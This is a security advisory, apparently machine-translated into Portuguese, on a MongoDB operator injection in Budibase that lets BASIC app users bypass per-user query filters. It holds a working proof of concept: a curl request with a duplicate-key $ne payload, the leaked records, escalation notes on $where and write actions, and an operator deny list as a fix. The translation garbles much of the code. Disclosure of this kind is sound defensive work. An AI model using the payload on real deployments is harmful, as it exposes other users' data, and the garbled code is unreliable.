Uma injeção de usuário final no fonte de dados MongoDB do Budibase permite que qualquer usuário de aplicativo BASIC contorne os controles de acesso ao nível de consulta do construtor. O alcance dos construtores O MongoDB lê por usuário com acoplamentos como `{"email": "{{ currentUser.email }}"}` assim que cada usuário de aplicativo só vê suas próprias linhas. Porque a ligação é enriquecida com o guidão na consulta JSON com `noEscaping: true` e então `JSON.parse`d, o Bob (um usuário BASIC) sobrepõe o filtro do construtor com um operador MongoDB e lê todos os documentos que a conexão pode tocar. As fontes de dados SQL são parametrizadas através de `interpolateSQL()`; o caminho do MongoDB não tem equivalente, por isso o padrão de escopa do Budibase mostra- se como não é seguro. `pacotes/ servidor/ src/ sdk/workspace/queries/queries.ts: 105 - 125 ` enriquece cada campo de string da consulta com guidão, então analisa o campo enriquecido `json`: ````typescript enriquecidoQuery[key] = processoStringSync(chave[key], parâmetros, { noEscaping: true, noHelpers: true, escapeNewlines: true, }) //... enriquecidoQuery.json = JSON.parse( enriquecidoQuery.json.enriquecidoQuery.customData.enriquecidoQuery.requestBody ) ``` ` noEscaping: true` transforma `{{name}}` em `{{{nom}}`, que os manuais renderizam sem escada em HTML. Qualquer `"` ou `}` o atacante fornece aterrissagem literal na string enriquecida. `JSON.parse` então produz um objeto estruturado cujas chaves e operadores de nível superior vieram do valor do parâmetro.

`pacotes/ servidor/ src/ integrations/ mongodb.ts: 499 - 512 `. ``` tipscript async read(query: MongoDBQuery) { try { attente this.connect() const db = this.client.db( this.config.db) const collection = db.collection(query.extra.collection) let json = this.createObjectIds(query.json) switch (query.extra.actionType) { caso "find": { se (json) { reask attente collection.find(json).toArray() } ```` `CreateObjectIds` caminha pelo objeto e reescrever strings que se parecem com `ObjectId(...)'. Ele não tira as chaves `$`- prefixos e não rejeita valores em forma de operador. O filtro injetado atinge `collection.find` inalterado. Para comparação, fontes de dados SQL passam por `interpolateSQL` em `pacotes/server/src/threads/query.ts: 145 `, que parametriza as ligações em variáveis de ligação de nível de driver. O caminho do MongoDB não tem equivalente. ### truque de teclas duplicadas. O modelo dá ao atacante um ponto de substituição dentro do valor `name`. O `{"nome" exterior: "` / `"}` está corrigido. A carga útil do atacante:.

``` x", "nome": {"$ne": "x"}, "$comentário": "bud- 033 ```. ```json {"nome": "x", "nome": {"$ne": "x"}, "$comentário": "bud- 033 "} ``` `JSON.parse` mantém o último valor para uma chave duplicada (ECMA- 404 deixa esta implementação definida; V 8 e o 'JSON.parse' do Node mantém o último), então o objeto analisado é: ```js { nome: { $ne: "x"}, $ comentário: "bud- 033 " } ``` `$comment` é um operador de meta MongoDB que o servidor aceita e ignora, então ele consome o ""}" do modelo sem restringir a consulta. O filtro que atinge o MongoDB é ` nome!= "x"`, que corresponde a todos os documentos.

Testado contra o Budibase 3.35.8 (mestre em f 960 e 361 ) e MongoDB 6. Passo 1: Administrar cria um fonte de dados do MongoDB e semente três documentos: ```` docker docker dosh run - d -- name mongo - p 27017: 27017 mongo: 6 docker exec mongo mongosh --quiet --eval ' db = db.getSiblingDB("testdb"); db.users.insertMany([ {nome:"alice", e-mail:"alice@x.com", segredo:"public-alice"}, {nome:"bob", e-mail:"bob@x.com", segredo:"PRIVATE-BOB"}, {nome:"eve", e-mail:"eve@x.com", segredo:"PRIVATE-EVE"} ]); Passo 2: Alice, um construtor, configura a fonte de dados e escreve uma consulta do MongoDB `find-by-name` cujo campo `json` é `{"name": "{{name}}"}`. Ela publica o aplicativo e concede ao Bob (BASIC) um papel nele.

Passo 3: Bob, logado como BASIC com um papel no aplicativo publicado, executa a consulta através do endpoint padrão de execução. ` POST / api/ queries/:queryId` é alcançável por qualquer papel do aplicativo com permissão na consulta (é como o Budibase renderiza tabelas apoiadas por consulta para usuários finais): ```` bash curl -sS -b "$BOB_COOKIE" -X POST "$BASE/api/queries/$QUERY_ID" \ -H "Tipo de conteúdo: aplicativo/json" -H "x-budibase-app-id: $PROD_APP" \ -d '{"parametros": {"nome":"x\", \"nome\": {\"$ne\": \"x\"}, \"$comment\": \"bud- 033 "}}' ``` Legitimate `name=alice` retorna apenas Alice. ````json [{"_id":"...","nome":"alice","email":"alice@x.com","secreto":"public-alice"}] ```.

A carga útil da injeção devolveu os três documentos. ```json [ {"_id":"...","nome":"alice","email":"alice@x.com","secreto":"public-alice"}, {"_id":"...",""nome":"bob", "email":"bob@x.com", "secreto":"PRIVATE-BOB"}, {"_id":"...","eve":"email":"eve@x.com", "secreto":"PRIVATE-EVE"} ] `````` O perfil do MongoDB confirmou o filtro que alcançou o servidor. ```json {"encontrar":"usuários","filtro":{"nome":{"$ne":"nunca-parecer"},"$comentário":"bud- 033 "}} ``` O filtro por usuário do construtor colapsa. Um usuário final BASIC que só deve ler seus próprios documentos lê os de todos.

Concretamente: o construtor publica um aplicativo cuja tela "Meus registros" executa uma consulta do MongoDB com `json` = `{"email": "{{ currentUser.email }}}"}`. Cada usuário de aplicativos deve ver apenas as linhas onde o ` e- mail ' corresponde à sessão. Bob, um usuário BASIC nesse aplicativo, envia `bob@x.com", "email": {"$ne": "x"}, "$comentário": "x" como a substituição de vinculação `currentUser.email` e recebe todas as linhas da coleção, incluindo usuários de outros inquilinos, registros de administradores e quaisquer campos secretos que o construtor armazenado ao lado. O raio de explosão depende do que o construtor expôs. - **Leia consultas**: dump de coleção completa (demonstrado acima: três documentos retornaram onde o filtro com o escopo retornava um, incluindo segredos de outros usuários). - **`$where` operador**: JavaScript arbitrário dentro do processo do servidor MongoDB. O atacante exfiltra qualquer campo de qualquer documento através da expressão JS ou através de canais laterais de temporização. - **`$function` / `$acumulator`** (MongoDB 4.4 +: JS arbitrário em estágios de agregação. - **`$lookup`**: coleção cruzada se junta no mesmo banco de dados. Se o fonte de dados do MongoDB possui tokens de administrador ou coleções sensíveis ao lado do que o construtor perguntou, a injeção chega a eles. - **` atualizar` / ` eliminar` tipos de ação**: a injeção do filtro reescreverá o conjunto de documentos afetados. Um pedido limpa ou reescrever cada documento que a conexão pode alcançar. O raio de explosão é a própria implantação do MongoDB do construtor, não a infraestrutura do Budidase. O Budibase não envia nem executa o MongoDB; este conector fala com o Mongo externo do cliente, por isso o atacante lê e escreve dados que a conexão do construtor tem acesso ao limite do inquilino do Budibase, CouchDB, MinIO ou Redis. O padrão vulnerável (`{{binding}}` dentro do corpo JSON) é a forma exata que a documentação do Budibase mostra para as consultas do MongoDB parametrizadas, e não há aviso no produto de que o MongoDB se comporte de forma diferente do SQL. O CVSS reflete o escopo comum de consulta de leitura (o desvio do filtro em uma única coleção); os caminhos `$where` / `$lookup` / write-action existem, mas dependem dos primitivos expostos pelo construtor.

Tire as chaves `$`- prefixos de qualquer objeto que se origine de parâmetros controlados pelo usuário antes de atingir `collection.find`/ `updateOne`/ `deleteOne`. Um único protetor no `criarObjectIds` cobre os caminhos de leitura, atualização e exclusão: ``` script // pacotes/ server/src/integrations/mongodb.ts: 394 (crearObjectIds) const PERIGOSO = novo conjunto([ "$where", "$function", "$cumulator", "$expr", "$regex", "$ne", "$nin", "$gt", "$gte", "$lt", "$lte", "$lte", "$or", "$or", "$nor", "$no", "$exists", "$type", "$mod", "$texto", "$commentar", ]) função stripOperators( obj: any): qualquer { if (obj === null.. typeof obj! == "object") devolve obj if (Array.isArray( obj)) devolve obj. map(stripOperators) const limpo: Record = {} for (const [k, v] of Object.entries( obj)) { if (DANGEROUS.has(k))) continue limpo[k] = stripOperators(v) } devolve limpo } ```.

Uma correção mais segura reflete o caminho SQL: introduza um enriquecimento do MongoDB que liga os parâmetros como valores em vez de substituí- los por string na consulta JSON. Isso elimina toda a classe. --- *Controlado por [aisafe.io](. Registro de aconselhamento: GHSA- pmpg- 2 mxq-. 6 xwr. Não há nenhum identificador adicional listado. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 24 T 21: 43: 34.000 Z e lista a sua última modificação como 2026 - 07 - 24 T 21: 43: 34.000 Z.

Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N. Informações sobre software e versão afetadas: pacote npm @budibase/ server — ECOSISTEM: introduzido 0, última afetada 3.38.1. Classificação e evidência: identificadores de fraqueza CWE- 89. O registro contém 5 suporte de referências nestes tipos: WEB, PACKAGE.